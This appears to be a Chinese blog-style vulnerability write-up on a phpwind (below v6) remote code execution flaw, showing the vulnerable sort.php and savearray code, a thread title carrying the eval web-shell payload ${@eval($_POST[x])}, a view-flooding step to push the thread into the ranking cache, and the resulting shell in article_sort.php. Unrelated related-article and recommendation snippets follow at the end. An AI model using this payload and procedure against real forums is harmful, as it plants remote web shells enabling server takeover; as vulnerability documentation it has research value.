phpwind/sort.php 会定期每天处理一次帖子的浏览量、回复量、精华版排序

代码直接使用savearray将数据库查询出来的内容写入php文件,savearray出来的参数,都使用"双引号来包含,所以可以利用变量来执行任意命令

elseif($action=='article'){

	$cachetime=@filemtime(D_P."data/bbscache/article_sort.php");

	if(!$per || $timestamp-$cachetime>$per*3600){

		$_SORTDB=$_sort=array();

		$query=$db->query("SELECT t.tid,t.subject,t.replies,t.fid FROM pw_threads t LEFT JOIN pw_forums f ON t.fid=f.fid WHERE t.ifcheck='1' AND t.locked<'2' AND f.password='' AND f.allowvisit='' AND f.f_type<>'hidden' ORDER BY t.replies DESC LIMIT $cachenum");

		while($topic=$db->fetch_array($query)){

			if($topic['replies']){

				$topic['subject']=substrs($topic['subject'],25);

				$_sort[]=$topic;

			}

		}

		$_SORTDB['reply']=$_sort;

		$_sort=array();

		$query=$db->query("SELECT t.tid,t.subject,t.hits,t.fid FROM pw_threads t LEFT JOIN pw_forums f ON t.fid=f.fid WHERE t.ifcheck='1' AND t.locked<'2' AND f.password='' AND f.allowvisit='' AND f.f_type<>'hidden' ORDER BY t.hits DESC LIMIT $cachenum");

		while($topic=$db->fetch_array($query)){

			if($topic['hits']){

				$topic['subject']=substrs($topic['subject'],25);

				$_sort[]=$topic;

			}

		}

		$_SORTDB['hit']=$_sort;

		$_sort=array();

		$query=$db->query("SELECT t.tid,t.subject,t.digest,t.fid FROM pw_threads t LEFT JOIN pw_forums f ON t.fid=f.fid WHERE t.digest<>'0' AND t.ifcheck='1' AND t.locked<'2' AND f.password='' AND f.allowvisit='' AND f.f_type<>'hidden'  ORDER BY t.lastpost DESC LIMIT $cachenum");

		while($topic=$db->fetch_array($query)){

			$topic['subject']=substrs($topic['subject'],25);

			$_sort[]=$topic;

		}

		$_SORTDB['digest']=$_sort;

		$ARTICLEDB=savearray('_ARTICLEDB',$_SORTDB);

		writeover(D_P.'data/bbscache/article_sort.php',"<?php\r\n".$ARTICLEDB.'?>');

	}

  

发表一个帖子:标题如下

code 区域

${@eval($_POST[x])}XXXX

再开一个多线程(100线程,几分钟就可以了),请求访问那个帖子,直到帖子的访问量排入前20

function savearray($name,$array){

	$arraydb="\$$name=array(\r\n\t\t";

	foreach($array as $key=>$value){

		$arraydb.="'".$key."'=>\narray(\r\n\t\t\t";

		foreach($value as $value1){

			$arraydb.='array(';

			foreach($value1 as $value2){

				$arraydb.='"'.addslashes($value2).'",';

			}

			$arraydb.="),\r\n\t\t\t";

		}

		$arraydb.="),\r\n\t\t";

	}

	$arraydb.=");\r\n";

	return $arraydb;

  

二天,生成统计排行的时候,shell就躺在了 /data/bbscache/article_sort.php

三个白帽实际演示:http://**.**.**.**/data/bbscache/article_sort.php

漏洞证明:

/data/bbscache/article_sort.php

<?php

$_ARTICLEDB=array(

		'reply'=>

array(

			array("1","${@eval($_POST[x])}XXXX ..","5732","2",),

			array("10","DDDDDDDDDDDDDDDDD","20","2",),

			array("7","HI Everybody (  b)ம","8","2",),

			array("3","hello","5","2",),

			array("5","䜲⊔","3","2",),

			array("2","test","3","2",),

			array("9","AAAAAAAAAAAAA","2","2",),

			array("6","ִА⫢,"1","2",),

			array("8","⵽բ萾ዢ,"1","2",),

			),

		'hit'=>

array(

			array("1","${@eval($_POST[x])}XXXX ..","11382","2",),

			array("2","test","3235","2",),

			array("3","hello","985","2",),

			array("5","䜲⊔","331","2",),

			array("7","HI Everybody (  b)ம","123","2",),

  

phpwind < v6 版本命令执行漏洞的更多相关文章

  1. phpwind v9存在命令执行漏洞(登陆后台)

    已知漏洞:https://www.seebug.org/vuldb/ssvid-94465 phpwind v9最新版存在命令执行漏洞(登陆后台) Phpwind_v9.0.2(最新版),phpwin ...

  2. Samba 4.x.x全版本存在命令执行漏洞

    Samba 4.0.0到4.1.10版本的nmbd(the NetBIOS name services daemon)被发现存在远程命令执行漏洞.CVE编号为CVE-2014-3560.目前官方已经发 ...

  3. 泛微OA系统多版本存在命令执行漏洞

    0x01漏洞描述 泛微OA办公系统是一款协调办公软件. 泛微协同商务软件系统存在命令执行漏洞,攻击者可利用该漏洞获取服务器权限. 0x02漏洞危害 攻击者可以通过精心构造的请求包在受影响版本的泛微OA ...

  4. ThinkPHP 5.0.x、5.1.x、5.2.x 全版本远程命令执行漏洞

    ThinkPHP 5.0.x.5.1.x.5.2.x 全版本远程代码执行漏洞 作者:SoulCat. 来源:CSDN 原文:https://blog.csdn.net/csacs/article/de ...

  5. FlexPaper 2.3.6 远程命令执行漏洞 附Exp

    影响版本:小于FlexPaper 2.3.6的所有版本 FlexPaper (https://www.flowpaper.com) 是一个开源项目,遵循GPL协议,在互联网上非常流行.它为web客户端 ...

  6. struts2远程命令执行漏洞S2-045

    Apache Struts2最新漏洞(CVE-2017-5638,S02-45) struts2远程命令执行漏洞S2-045 Apache Struts 2被曝存在远程命令执行漏洞,漏洞编号S2-04 ...

  7. WordPress <= 4.6 命令执行漏洞(PHPMailer)复现分析

    漏洞信息 WordPress 是一种使用 PHP 语言开发的博客平台,用户可以在支持 PHP 和 MySQL 数据库的服务器上架设属于自己的网站.也可以把 WordPress 当作一个内容管理系统(C ...

  8. 【漏洞公告】高危:Windows系统 SMB/RDP远程命令执行漏洞

    2017年4月14日,国外黑客组织Shadow Brokers发出了NSA方程式组织的机密文档,包含了多个Windows 远程漏洞利用工具,该工具包可以可以覆盖全球70%的Windows服务器,为了确 ...

  9. Apache Tomcat远程命令执行漏洞(CVE-2017-12615) 漏洞利用到入侵检测

    本文作者:i春秋作家——Anythin9 1.漏洞简介 当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 fals ...

随机推荐

  1. LoadRunner 场景运行error的几种情况

    一. Error -27727: Step download timeout (120 seconds)has expired when downloading resource(s). Set th ...

  2. AJAX案例三:处理XML响应

    <%@ page language="java" import="java.util.*" pageEncoding="UTF-8"% ...

  3. Mongdb使用客户端

    安装Robomongo图形化管理工具 Robomongo是一个基于 Shell 的跨平台开源 MongoDB 管理工具.嵌入了 JavaScript 引擎和 MongoDB mogo . 只要你会使用 ...

  4. Js图片切换

    <!DOCTYPE html><html<head> <meta charset="UTF-8"> <title></t ...

  5. hdu 1087 Super Jumping! Jumping! Jumping! 简单的dp

    Super Jumping! Jumping! Jumping! Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 65536/32768 ...

  6. Linux查看可执行程序所在路径

    首先通过命令获得进程PID:如4285,然后执行下述命令 cd /proc/4285 ls -l 或直接ls -l /proc/4285 其中exe所在行即为可执行文件的全路经.如下图所示:

  7. SpringJMS解析1-使用示例

    Spring配置文件: <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="h ...

  8. 九校联考 终&启

    one term's ending... class:12 school:130...130...130... 至今没有看到九校的排名,如果九校排名正常的话,那yyhs的学生也太可怕了...估计要三百 ...

  9. Codeforces Round #347 (Div. 2)

    unrating的一场CF A - Complicated GCD #include <bits/stdc++.h> const int N = 1e5 + 5; char a[105], ...

  10. DFS(连通块) ZOJ 2743 Bubble Shooter

    题目传送门 题意:从炮台射出一个球,三个及以上颜色相同的会掉落,问最后会掉落多少个球 分析:先从炮台找一个连通块,然后与顶部连接的连通块都不会掉落,剩下的就是炮台射出后跟随掉落的. #include ...